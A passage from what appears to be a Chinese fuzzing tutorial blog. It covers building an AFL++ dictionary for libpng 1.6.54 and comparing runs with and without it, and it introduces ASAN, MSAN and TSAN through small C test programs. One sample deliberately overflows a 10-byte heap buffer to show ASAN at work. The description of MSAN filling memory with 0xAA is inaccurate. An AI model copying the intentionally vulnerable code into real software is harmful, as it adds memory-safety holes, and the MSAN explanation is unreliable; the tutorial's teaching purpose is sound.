OSS-Fuzz）：\n# PNG文件格式字典 # 用于AFL++ Fuzzing libpng，破解平墙式魔数检查 # 来源：基于Google OSS-Fuzz官方字典整理 # 适用版本：libpng 1.6.54（存在CVE-2026-25646） # ==================== 文件头魔数 ==================== # PNG签名：0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A header_png=\u0026#34;\\x89PNG\\r\\n\\x1a\\n\u0026#34; # ==================== 关键Chunk类型（4字节） ==================== # IHDR - 图像头（必须第一个出现） section_IHDR=\u0026#34;IHDR\u0026#34; # PLTE - 调色板（CVE-2026-25646关键，png_set_quantize()溢出点） section_PLTE=\u0026#34;PLTE\u0026#34; # IDAT - 图像数据（可多个） section_IDAT=\u0026#34;IDAT\u0026#34; # IEND - 图像结束（必须最后一个） section_IEND=\u0026#34;IEND\u0026#34; # ==================== 辅助Chunk类型 ==================== # tRNS - 透明 section_tRNS=\u0026#34;tRNS\u0026#34; # gAMA - Gamma校正 section_gAMA=\u0026#34;gAMA\u0026#34; # cHRM - 主色度和白点 section_cHRM=\u0026#34;cHRM\u0026#34; # sRGB - 标准RGB颜色空间 section_sRGB=\u0026#34;sRGB\u0026#34; # iCCP - ICC颜色配置文件 section_iCCP=\u0026#34;iCCP\u0026#34; # tEXt - 文本信息 section_tEXt=\u0026#34;tEXt\u0026#34; # zTXt - 压缩文本 section_zTXt=\u0026#34;zTXt\u0026#34; # iTXt - 国际化文本 section_iTXt=\u0026#34;iTXt\u0026#34; # bKGD - 背景颜色 section_bKGD=\u0026#34;bKGD\u0026#34; # pHYs - 物理像素尺寸 section_pHYs=\u0026#34;pHYs\u0026#34; # sBIT - 有效位数 section_sBIT=\u0026#34;sBIT\u0026#34; # hIST - 图像直方图 section_hIST=\u0026#34;hIST\u0026#34; # tIME - 最后修改时间 section_tIME=\u0026#34;tIME\u0026#34; # ==================== 颜色类型（1字节） ==================== # 0 - 灰度 color_type_gray=\u0026#34;\\x00\u0026#34; # 2 - RGB真彩色 color_type_rgb=\u0026#34;\\x02\u0026#34; # 3 - 索引颜色（使用PLTE调色板，CVE-2026-25646相关） color_type_indexed=\u0026#34;\\x03\u0026#34; # 4 - 灰度+Alpha color_type_gray_alpha=\u0026#34;\\x04\u0026#34; # 6 - RGBA真彩色 color_type_rgba=\u0026#34;\\x06\u0026#34; # ==================== 位深度（1字节） ==================== # 1位 bit_depth_1=\u0026#34;\\x01\u0026#34; # 2位 bit_depth_2=\u0026#34;\\x02\u0026#34; # 4位 bit_depth_4=\u0026#34;\\x04\u0026#34; # 8位（最常见，CVE-2026-25646高风险配置） bit_depth_8=\u0026#34;\\x08\u0026#34; # 16位 bit_depth_16=\u0026#34;\\x10\u0026#34; # ==================== 压缩/过滤/交错方法 ==================== # deflate压缩（标准） compression_deflate=\u0026#34;\\x00\u0026#34; # 自适应过滤（标准） filter_adaptive=\u0026#34;\\x00\u0026#34; # 无交错 interlace_none=\u0026#34;\\x00\u0026#34; # Adam7交错 interlace_adam7=\u0026#34;\\x01\u0026#34; # ==================== 常用字节组合 ==================== # 大端4字节长度0（Chunk长度字段） length_zero=\u0026#34;\\x00\\x00\\x00\\x00\u0026#34; # 大端4字节CRC初始值 crc_placeholder=\u0026#34;\\x00\\x00\\x00\\x00\u0026#34; # PNG结束序列：IEND + 0长度 + CRC iend_sequence=\u0026#34;IEND\\x00\\x00\\x00\\x00\\xae\\x42\\x60\\x82\u0026#34; 关键提示：PLTE是触发CVE-2026-25646的核心chunk。png_set_quantize()函数在处理调色板时存在堆溢出，字典中的section_PLTE让AFL直接构造包含该chunk的输入，而非随机猜测4字节。\n3rd. 对比实验 我们来做一组实验来观察有/无字典时fuzzing的进展\n# 组1：无字典 mkdir -p out_nodict afl-fuzz -i min_seeds/ -o out_nodict -m none -- ./libpng-1.6.54/pngtest @@ # 组2：有字典 mkdir -p out_dict afl-fuzz -i min_seeds/ -o out_dict -x png.dict -m none -- ./libpng-1.6.54/pngtest @@ tips：可以使用tmux和screen等命令同时持久化窗口处理fuzzing\n这里为了方便也懒得安装就直接开两个终端了\n然后咱稍微往床上一躺，睡一觉，\n这是咱中间按照不同时间节点截取的进展：\n16min：\n45min：\n1h17min：\n15h后……：\n4th.比对分析与结果 1.核心发现：strategy 分歧 无字典 (左) 有字典 (右) Strategy explore exploit 含义 还在探索新路径 已进入利用模式深挖 这是决定性证据：AFL 自动判断有字典的实例覆盖已足够，切换到 exploit 模式专注找漏洞；而无字典的还在 explore 模式苦苦寻找新路径。\n2.最有力的证明：变异策略数据 Dictionary 行: 无字典: 0/0, 0/0, 0/17.9k, 0/17.9k ← 完全未使用 有字典: 28/52.2k, 0/52.5k, 0/3003, 0/3022 ← 28次成功 Dictionary 策略产生了28次有效变异，这是无字典完全无法做到的。\n再看其他策略的基数：\n策略 无字典 有字典 Bit flips 142k 149k Arithmetics 1.25M 128k（更精准，少浪费） Known ints 160k 16.3k（更精准） 有字典用更少的\u0026quot;笨办法\u0026quot;尝试（arithmetics/known ints），更多依赖智能变异。\n3.最终数据对比（15小时） 指标 无字典 有字典 优势 New edges 106 139 +31% ⭐ Favored % 13.39% 15.94% +19% ⭐ Corpus 560 596 +36 Levels 15 17 +2级 Total execs 3.87M 3.81M 相近 Last new find 8分钟前 1小时50分钟前 左近期活跃 Cycles 129 115 左多14轮 4.效率对比 相同执行量 (~3.8M)，不同产出：\n无字典: 106 edges / 3.87M = 2.74 edges/10万 有字典: 139 edges / 3.81M = 3.65 edges/10万\n效率差距: (3.65-2.74)/2.74 = 33%\n有字典用相近的执行量，多发现 33% 的代码路径。\n5.Strategy 切换的意义 模式 无字典 有字典 explore ✅ 还在探索 ❌ 已离开 exploit ❌ 未进入 ✅ 已深耕 有字典的实例更早完成了探索阶段，说明：\n字典帮助更快达到覆盖饱和 现在专注深挖已知路径找崩溃 无字典还在浪费执行在找新路径上 6.近期活跃度假象 左边 last new find: 8分钟前 看起来很活跃，但：\n跑了 129 cycles（比右边多14轮） 才达到和无字典 115 cycles 相近的 corpus 规模 说明无字典的 cycle 效率更低，很多轮是在重复探索 右边虽然 1小时50分钟 无新发现，但：\n已进入 exploit 模式，这是设计行为 在已知路径上组合变异找漏洞，而非盲目扩张 7.总结 在种子库都足够优质（相同的裁剪案例）并且资源分配相近的情况下：\n有字典用更少的 cycles（115 vs 129），更早进入 exploit 模式，多发现 31% 的代码路径（139 vs 106），且语料库优质率高 19%。\n04 结语：从\u0026quot;test.c\u0026quot;到\u0026quot;libpng\u0026quot;的 fuzzing 启蒙 写到这里，我的 AFL++ fuzzing 入门之路算是暂时告一段落了。\n回看这四天的学习轨迹，从最初对着 afl-fuzz 状态界面一脸茫然，到现在能对着 libpng 的插桩汇编和覆盖率数据侃侃而谈（误），这个系列记录了一个安全初学者真实的认知爬坡过程——不是 polished 的教程，而是带着坑、带着疑问、带着\u0026quot;原来如此\u0026quot;的摸索记录。\n我们走过了哪些路 篇章 核心问题 关键收获 Day 1 怎么让 AFL++ 跑起来？ 环境搭建、状态界面解读、Ubuntu apport 的坑 Day 2 插桩到底插了什么？为什么 memcmp 会让 AFL \u0026ldquo;失明\u0026rdquo;？ LLVM SanitizerCoverage 机制、阶梯式 vs 平墙式反馈、GDB 崩溃分析 Day 3 怎么让\u0026quot;隐形\u0026quot;漏洞现形？ ASAN 影子内存与红区、MSAN/TSAN/UBSAN 的分工、Sanitizer 与 fuzzing 的协同 Day 4 真实项目怎么搞？ libpng 编译、语料库剪裁、afl-cmin/afl-tmin、字典破解平墙式困境 四篇下来，最深刻的体会是：fuzzing 不是\u0026quot;跑起来就完事\u0026quot;的工程，而是\u0026quot;覆盖率反馈→变异策略→种子质量→检测工具\u0026quot;的系统调优。任何一个环节掉链子，都会导致你从\u0026quot;智能 fuzzing\u0026quot;退化回\u0026quot;随机瞎猜\u0026quot;——Day 2 的平墙式实验和 Day 4 的字典对比，都是活生生的教训。\n那些还没填的坑 作为入门系列，本文刻意（其实是能力有限）避开了一些深水区，留待后续探索：\nCmpLog/Redqueen：Day 2 末尾埋的伏笔，AFL++ 如何 hook 比较指令来自动绕过 memcmp 类检查 多核并行与主从模式：afl-fuzz -M/-S 的分布式 fuzzing，以及如何同步语料库 结构化 fuzzing：libpng 这种固定格式的目标还能靠字典，那 protobuf、JavaScript AST 这类复杂结构怎么办？ 真实漏洞复现：CVE-2026-25646 的堆溢出到底怎么触发？ASAN 报告出来后如何定位到 png_set_quantize() 的具体代码？ 这些不是\u0026quot;进阶内容\u0026quot;，而是从\u0026quot;入门\u0026quot;到\u0026quot;能干活\u0026quot;的必经之路。如果后续有时间（和实习 offer），可能会开\u0026quot;进阶之路\u0026quot;系列继续填坑。\n写给同样想入门的你 如果你也是安全方向的初学者，想通过 fuzzing 扩充技术栈，我的建议是：\n别急着跑大型项目。先拿 test.c 这种玩具程序把状态界面看熟，把插桩原理搞懂，否则面对真实目标时，你分不清是\u0026quot;没漏洞\u0026quot;还是\u0026quot;没配置对\u0026quot;。 重视反馈机制。Day 2 的阶梯式 vs 平墙式实验值得亲手复现——理解了\u0026quot;为什么 AFL 需要覆盖率反馈\u0026quot;，你才知道怎么设计种子、怎么写字典。 善用工具链。afl-showmap 看覆盖、afl-cmin 去重、afl-tmin 精简、GDB 定位崩溃，这些工具的组合拳比单纯跑 afl-fuzz 重要得多。 接受\u0026quot;跑不出崩溃\u0026quot;的结果。Fuzzing 是概率游戏，配置正确、种子优质、时间充足，也不保证一定能找到漏洞。但配置错误，一定找不到。 最后 写这四篇的初衷，其实是缓解投简历前的焦虑——总觉得技术栈太薄，想赶紧学点\u0026quot;前沿\u0026quot;的东西充门面。但写完后反而平静了：安全是个需要沉淀的领域，AFL++ 再强大，也只是工具；真正值钱的，是理解工具背后的原理，以及用工具解决真实问题的能力。\n希望这个系列对你有帮助。如果有问题或勘误，欢迎交流。\n——2026年3月16日，于宿舍书桌前，一边等 fuzzing 结果一边写结语\n","permalink":"https://chenjx12.github.io/posts/%E6%88%91%E7%9A%84afl++fuzzing%E5%85%A5%E9%97%A8%E4%B9%8B%E8%B7%AF4/","summary":"\u003ch1 id=\"我的aflfuzzing入门之路4\"\u003e我的AFL++fuzzing入门之路（4）\u003c/h1\u003e\n\u003ch2 id=\"00-引言跨越鸿沟\"\u003e00 引言：跨越鸿沟\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e回顾前三天\u003c/strong\u003e：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDay 1：在\u0026quot;教科书式test.c\u0026quot;上跑通AFL++，理解状态界面\u003c/li\u003e\n\u003cli\u003eDay 2：深入插桩原理，发现\u0026quot;平墙式memcmp让AFL失明\u0026quot;的致命问题\u003c/li\u003e\n\u003cli\u003eDay 3：用ASAN将\u0026quot;隐形漏洞\u0026quot;转化为\u0026quot;显性崩溃\u0026quot;\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e提出问题\u003c/strong\u003e： 真实项目不是\u003ccode\u003eafl-cc test.c\u003c/code\u003e这么简单。面对libpng这类真实解析器：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e如何编译带依赖的开源项目？\u003c/li\u003e\n\u003cli\u003e如何应对无处不在的\u0026quot;平墙式\u0026quot;魔数检查（\u003ccode\u003ememcmp(header, \u0026quot;\\x89PNG\u0026quot;, 4)\u003c/code\u003e）？\u003c/li\u003e\n\u003cli\u003e如何让AFL++不再\u0026quot;瞎猜\u0026quot;？\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e本章目标\u003c/strong\u003e： 以\u003cstrong\u003elibpng 1.6.54\u003c/strong\u003e为演示目标，掌握实战前的三大核心准备：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e编译真实项目（带ASAN插桩）\u003c/li\u003e\n\u003cli\u003e构建高质量种子语料库\u003c/li\u003e\n\u003cli\u003e用字典破解\u0026quot;平墙式\u0026quot;困境\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"01-实战目标编译以libpng为例\"\u003e01 实战目标编译：以libpng为例\u003c/h2\u003e\n\u003ch3 id=\"1st-为什么选libpng\"\u003e1st. 为什么选libpng\u003c/h3\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003e理由\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003e说明\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e经典攻击面\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e图片解析器天生处理不可信输入（用户上传）\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e代码规模适中\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e约3万行，比内核简单，比test.c真实\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e历史漏洞丰富\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eCVE-2018-14550、CVE-2019-7317等，有参考案例\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e格式相对简单\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003ePNG结构清晰：文件头+Chunk（IHDR/IDAT/IEND）\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e官方支持完善\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eGoogle OSS-Fuzz已集成，有现成字典参考\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e选什么版本？看了一下，最后决定选择1.6.54，\u003cstrong\u003e存在已知CVE\u003c/strong\u003e，CVE-2026-25646（\u003ccode\u003epng_set_quantize()\u003c/code\u003e堆溢出），1.6.55修复\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eCVE-2026-25646速览\u003c/strong\u003e：\u003ccode\u003epng_set_quantize()\u003c/code\u003e函数在处理调色板（PLTE Chunk）时存在堆缓冲区溢出，存在30年之久。这正是ASAN的检测目标，也是我们Fuzzing的\u0026quot;猎物\u0026quot;。\u003c/p\u003e\n\u003ch3 id=\"2nd-下载与依赖\"\u003e2nd. 下载与依赖\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 下载源码\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewget https://download.sourceforge.net/libpng/libpng-1.6.54.tar.gz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etar -xzf libpng-1.6.54.tar.gz \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e cd libpng-1.6.54\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 验证版本\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehead -5 README\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eREADME \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e libpng version 1.6.54\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e================================\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 安装依赖\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt update\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt install zlib1g-dev  \u003cspan style=\"color:#75715e\"\u003e# libpng依赖zlib\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"3rd-用afl-cc--asan编译\"\u003e3rd. 用afl-cc + ASAN编译\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e命令如下\u003c/strong\u003e：\u003c/p\u003e","title":"我的AFL++fuzzing入门之路（4）"},{"content":"我的AFL++fuzzing入门之路（3） 00 前言回顾 在笔者的上一篇，也是 AFL++ Fuzzing 系列的第二篇中，我们从“汇编指令”深入到“策略机制”，完成了对 AFL++ 核心能力的解构：\n插桩底层：通过 IDA 反编译，直观观察了 LLVM SanitizerCoverage 的内联插桩实现，解析了 __afl_area_ptr 与 guard 变量如何协作，以及 NeverZero 机制如何防止计数溢出，从指令级掌握了覆盖率追踪的底层逻辑；\n反馈机制：通过“阶梯式”与“平墙式”代码的对比实验，量化了覆盖率反馈对 fuzzing 效率的决定性影响，验证了“覆盖率引导是 AFL 灵魂”这一核心思想，揭示了为何 memcmp 类检查是 fuzzing 的噩梦；\n崩溃分析：借助 GDB 与 xxd 工具，我们完成了“触发崩溃→定位根因→验证输入”的完整闭环，学会了如何区分 ud2 指令触发的逻辑崩溃与内存破坏导致的异常。\n虽然我们已经掌握了发现和分析崩溃的方法，但在真实漏洞挖掘中，存在一个更棘手的问题：并非所有的内存错误都会立即崩溃。大量的堆溢出、Use-After-Free 往往会“沉默”地破坏内存，直到程序运行很久后才随机崩溃，这让 AFL++ 难以捕获到有效的反馈信号。\n为了解决“漏洞隐形”的问题，本文将引入 Sanitizer（消毒器） 机制。我们将重点探索 ASAN（地址消毒器）如何通过影子内存将“隐形漏洞”转化为“显性崩溃”，并结合实战演示其在 AFL++ 中的集成方法与性能权衡，进一步提升漏洞挖掘的深度与广度。\n01 ASAN 深度解析（核心重点） 1st. 为什么需要ASAN 要回答这个问题，我们首先得知道 ASAN 是什么：\nASAN 全名 AddressSanitizer（整合了 LeakSanitizer (LSAN)），是一个由 Google 开发的内存错误检测工具，能够精准捕捉堆溢出、栈溢出、Use-After-Free（UAF）等常见的内存安全问题。\n那么，为什么我们的 Fuzzing 特别需要它？\n1. 很多内存错误是“沉默”的 在上一篇文章中，我们遇到的崩溃都是“立即触发”的（如 __builtin_trap 或空指针解引用）。但在真实世界中，很多严重的漏洞并不会立即让程序崩溃：\n堆溢出：写越界了，但只是覆盖了相邻堆块的元数据，程序可能还能跑很久。 UAF（Use-After-Free）：访问了已释放的内存，恰好该内存还没被覆盖，读出了“正常”的数据。 在这种情况下，程序没有发出 SIGSEGV 信号，AFL++ 就会认为这个输入是“无效”的，从而错过了漏洞。\n2. ASAN 让“潜伏”的漏洞现形 ASAN 的核心作用就是将“隐形”的内存错误转化为“显性”的崩溃。\n没有 ASAN：程序静默执行，AFL 一无所知。 有 ASAN：非法内存访问瞬间触发 SIGABRT，AFL 捕获到崩溃，漏洞被发现。 3. 相比其他工具的优越性 传统的内存检测工具（如 Valgrind）动辄带来 10x-20x 的性能损耗，这在 Fuzzing 这种强调“高频执行”的场景下是不可接受的。而 ASAN 仅有 2x 左右的性能损耗，使其成为 Fuzzing 领域事实上的标准配置。\n用例 1：堆缓冲区溢出（ASAN 核心演示） 光说不练假把式，咱直接上代码测试案例\n// heap_overflow.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char *argv[]) { char *buf = malloc(10); FILE *f = fopen(argv[1], \u0026#34;r\u0026#34;); if (!f) return 1; // 危险：读取 100 字节到 10 字节缓冲区 fread(buf, 1, 100, f); // 如果溢出不严重，可能不崩溃 if (buf[0] == \u0026#39;A\u0026#39;) printf(\u0026#34;Got A\\n\u0026#34;); free(buf); fclose(f); return 0; } 对比测试：\npython3 -c \u0026#34;print(\u0026#39;A\u0026#39;*100)\u0026#34; \u0026gt; overflow_input # 无 ASAN，足够长 gcc -o heap_normal heap_overflow.c ./heap_normal overflow_input # 有 ASAN，足够长 afl-cc -o heap_asan heap_overflow.c -fsanitize=address # 也可以在 afl-cc 编译前使用环境变量声明使用ASAN AFL_USE_ASAN=1 ./heap_asan overflow_input python3 -c \u0026#34;print(\u0026#39;A\u0026#39;*10)\u0026#34; \u0026gt; normal_input # 无 ASAN，刚刚好 ./heap_normal normal_input # 有 ASAN，刚刚好 ./heap_asan normal_input 对比结果：\n测试场景 编译方式 程序输出/行为 关键信息 结论 长输入 (100字节) 无ASAN (gcc) Got Adouble free or corruption (out)程序崩溃 堆管理器检测到数据结构被破坏，但无法定位具体错误位置 未有效检测：错误信息模糊，无法定位溢出点 长输入 (100字节) 有ASAN (afl-cc -fsanitize=address) AddressSanitizer: heap-buffer-overflow详细错误报告 - 错误类型：堆缓冲区溢出- 操作：100字节写入- 定位：fread函数- 越界距离：0字节超出10字节区域 有效检测：精准定位溢出点，立即拦截 短输入 (10字节) 无ASAN (gcc) Got A程序正常退出 无错误，程序逻辑正常执行 未检测：未触发溢出，程序正常运行 短输入 (10字节) 有ASAN (afl-cc -fsanitize=address) AddressSanitizer: heap-buffer-overflow详细错误报告 - 错误类型：堆缓冲区溢出- 操作：11字节写入- 定位：fread函数- 越界距离：0字节超出10字节区域 有效检测：即使轻微溢出也能立即拦截 那么是什么赋予了 ASAN 这样一种功能呢，接着往下看\n2nd. ASAN 核心机制简述 从上面的堆溢出演示可以看到： 同样的写，在没有 ASAN 时“安安静静”，加上 ASAN 后立马被揪出来。 那么，ASAN 到底做了什么？\n一句话概括：\nASAN 在程序每次访问内存前，先“查表”判断这个地址是不是被“毒化（poisoned）”，如果是就立刻报错。\n这里的“表”，就是 影子内存（shadow memory）； “毒化”，就是给这块内存打上“不可访问”的标记。\n下面我们用一个简化版，把三件事讲清楚：影子内存、红区、毒化。\n1. 影子内存：给每 8 字节“配一个影子” ASAN 把进程的虚拟地址空间分成两部分：\n主应用内存（Mem）：你的堆、栈、全局变量、代码等都在这里。 影子内存（Shadow）：专门用来记录“对应的主内存是否可访问”。 映射规则很简单（64 位为例）：\nShadow = (Mem \u0026gt;\u0026gt; 3) + 0x7fff8000; 翻译一下：\n应用内存地址 Mem 右移 3 位，相当于除以 8； 再加一个固定偏移，就得到对应的影子内存地址。 也就是说：每 8 字节的应用内存，对应 1 字节的影子内存。\n影子内存里存的值，就是这 8 字节的状态：\n0：这 8 字节全部可访问（正常）。 负数：这 8 字节全部“毒化”（不可访问，比如红区、已释放堆块）。 k (1~7)：这 8 字节中，前 k 字节可访问，后面 8-k 字节不可访问（用于 malloc(13) 这种非 8 倍数的情况）。 2. 红区：在“合法内存”周围埋地雷 有了影子内存，ASAN 做的第二件事是： 在堆、栈、全局变量周围，插入额外的“陷阱”内存，叫做红区（redzone）。\n堆：malloc 返回给你一块内存，ASAN 在这块内存的前后各加一段红区； 栈：局部数组周围，编译器会自动插入红区； 全局变量：同样可以在周围布置红区。 如图所示，ASAN 会在每个变量（var1-var4）的周围插入红色的\u0026quot;RedZone\u0026quot;区域。这些红区在物理内存上真实存在，但在影子内存中被标记为\u0026quot;毒化\u0026quot;（不可访问）。\n这些红区有一个共同特点：\n在影子内存里，它们被标记为“毒化”（不可访问）。\n所以，一旦你的代码有：\n堆溢出，写到了后面的红区； 栈溢出，写到了前后的红区； 访问已释放堆块（UAF），该堆块已经被 free + 毒化； 都会命中影子内存里的“毒化”标记，触发 ASAN 报错。\n3. 毒化：释放就“下毒”，访问前“验毒” ASAN 对“释放内存”做了两件事：\n把 free 掉的堆块放进 隔离区（quarantine），暂时不再分配给别人； 在影子内存中，把这整块堆区标记为“毒化”。 这样，一旦有 Use-After-Free，再去访问这块内存时：\n编译器插桩的检查会先查影子内存； 发现影子值是“负数”，立即触发ReportError，打印类似： AddressSanitizer: heap-use-after-free 访问地址、是读还是写、调用栈等。 4. 编译器插桩：每次访多加一次“安检” 在编译阶段，ASAN 会对程序中的内存访问指令进行插桩，大致逻辑如下：\n访问前：\n*addr = value; // 写内存 // 或 x = *addr; // 读内存 插桩后：\nshadow_addr = MemToShadow(addr); if (ShadowIsPoisoned(shadow_addr)) { ReportError(addr, size, is_write); } *addr = value; // 原操作 也就是说：\n每次内存访问前，先算出影子内存地址； 如果影子值显示“已毒化”，就报错； 否则继续正常访问。 关键点： 这个“安检”非常快，只是多一次内存访问和条件判断，因此 ASAN 的整体开销大概只有 2x 左右——这是它能成为 Fuzzing 标准配置的重要原因。\n5. 回到我们的堆溢出示例 回到前面的 heap_overflow.c：\nmalloc(10) 在堆上分配 10 字节； ASAN 在这 10 字节前后各插入一段红区，并在影子内存里把红区标记为“毒化”； fread(buf, 1, 100, f) 写了 100 字节，远远超出 10 字节； 写到红区时，命中影子内存的“毒化”标记，ASAN 报告： AddressSanitizer: heap-buffer-overflow 而 没有 ASAN 时，越界写可能只是写到别的堆块或未使用区域，程序不崩溃，AFL 也就看不到任何异常。\ntips1：ASAN+LSAN 有一个比较有趣的点是，如果我们直接将 ‘AAA’ 作为参数输入，而不是用文件输入的话：\n我们可以看到，gcc编译的版本是会因为没有读取到作为参数的文件而直接 return 1 的，\n而afl-cc编译的版本则是报了一个**LeakSanitizer**的错。\n这又是因为什么呢？\n其实是现在的 ASAN 整合了 LSAN（即 LeakSanitizer），还记的用例的代码吗：\nint main(int argc, char *argv[]) { char *buf = malloc(10); FILE *f = fopen(argv[1], \u0026#34;r\u0026#34;); if (!f) return 1; // ... free(buf); fclose(f); return 0; } 当程序因为没有读到文件参数而 return 1 时，最开始 malloc 的 buf 也执行不到 free 那一步；\n所以 LSAN 告诉我们，检测到内存泄漏（ detected memory leaks），\n并且报错的最后一行进行了摘要说明：地址消毒器：在1次分配中泄漏了10字节。\n总结一下：\nASAN 的泄露检测是“程序退出时”的检查，而非“运行时”； 提前退出（如文件不存在）会导致泄露报错，这是 ASAN 的正常行为； 真正的溢出错误（如输入 100 字节）会立即崩溃，LSAN 不会参与（因为程序未正常退出）。 这个细节正好体现了 ASAN 的设计哲学：既能在运行时拦截严重错误，也能在退出时捕获静默问题，全面覆盖内存安全问题。\n02 MSAN简析：检测未初始化内存的“幽灵数据” 在 AFL++ 中，除了 ASAN，还有三个常用的 Sanitizer 工具：MSAN（MemorySanitizer）、TSAN（ThreadSanitizer） 和 UBSAN（UndefinedBehaviorSanitizer）。它们分别针对不同的内存问题，与 ASAN 形成互补，进一步提升 Fuzzing 的漏洞挖掘能力。\n作用：MSAN 用于检测程序中使用了未初始化的内存（即“幽灵数据”）。未初始化的内存可能包含随机值，导致程序行为不可预测（如逻辑错误、信息泄露）。 核心机制：MSAN 会在内存分配时将内存初始化为特定值（如 0xAA），并在访问时检查是否被初始化。如果访问未初始化的内存，MSAN 会立即报错。\n测试用例：\n// msan_test.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int main() { int *arr = malloc(10 * sizeof(int)); // 分配10个int，未初始化 printf(\u0026#34;arr[0] = %d\\n\u0026#34;, arr[0]); // 访问未初始化的内存 free(arr); return 0; } 测试结果：\nafl-cc -o msan_test msan_test.c -fsanitize=memory ./msan_test 在 Fuzzing 中，未初始化的内存可能导致程序逻辑错误（如误判条件），MSAN 能提前捕获这类问题。\n03 TSAN：捕获线程竞争的“隐形杀手” 作用：TSAN 用于检测多线程程序中的数据竞争（Data Race）。数据竞争是指多个线程同时访问同一内存，且至少有一个线程在写，但没有同步机制（如互斥锁）。 核心机制：TSAN 会在运行时监控线程的内存访问，检测是否存在未同步的竞争，并报告具体的线程和访问位置。\n测试用例：\n// tsan_test.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;pthread.h\u0026gt; int counter = 0; void *thread_func(void *arg) { for (int i = 0; i \u0026lt; 1000; i++) { counter++; // 线程1和线程2同时递增counter，无锁 } return NULL; } int main() { pthread_t t1, t2; pthread_create(\u0026amp;t1, NULL, thread_func, NULL); pthread_create(\u0026amp;t2, NULL, thread_func, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf(\u0026#34;Counter: %d\\n\u0026#34;, counter); // 预期2000，但可能不是 return 0; } 测试结果：\nafl-cc -o tsan_test tsan_test.c -fsanitize=thread -lpthread ./tsan_test 多线程程序中的数据竞争可能导致程序崩溃或逻辑错误，TSAN 能帮助发现这类并发漏洞。\n04 UBSAN：拦截未定义行为的“安全网” 作用：UBSAN 用于检测程序中的未定义行为（Undefined Behavior, UB），如整数溢出、除以零、数组越界（全局）、无效的指针转换等。这些行为在 C/C++ 标准中是未定义的，可能导致程序崩溃或安全漏洞。\n核心机制：UBSAN 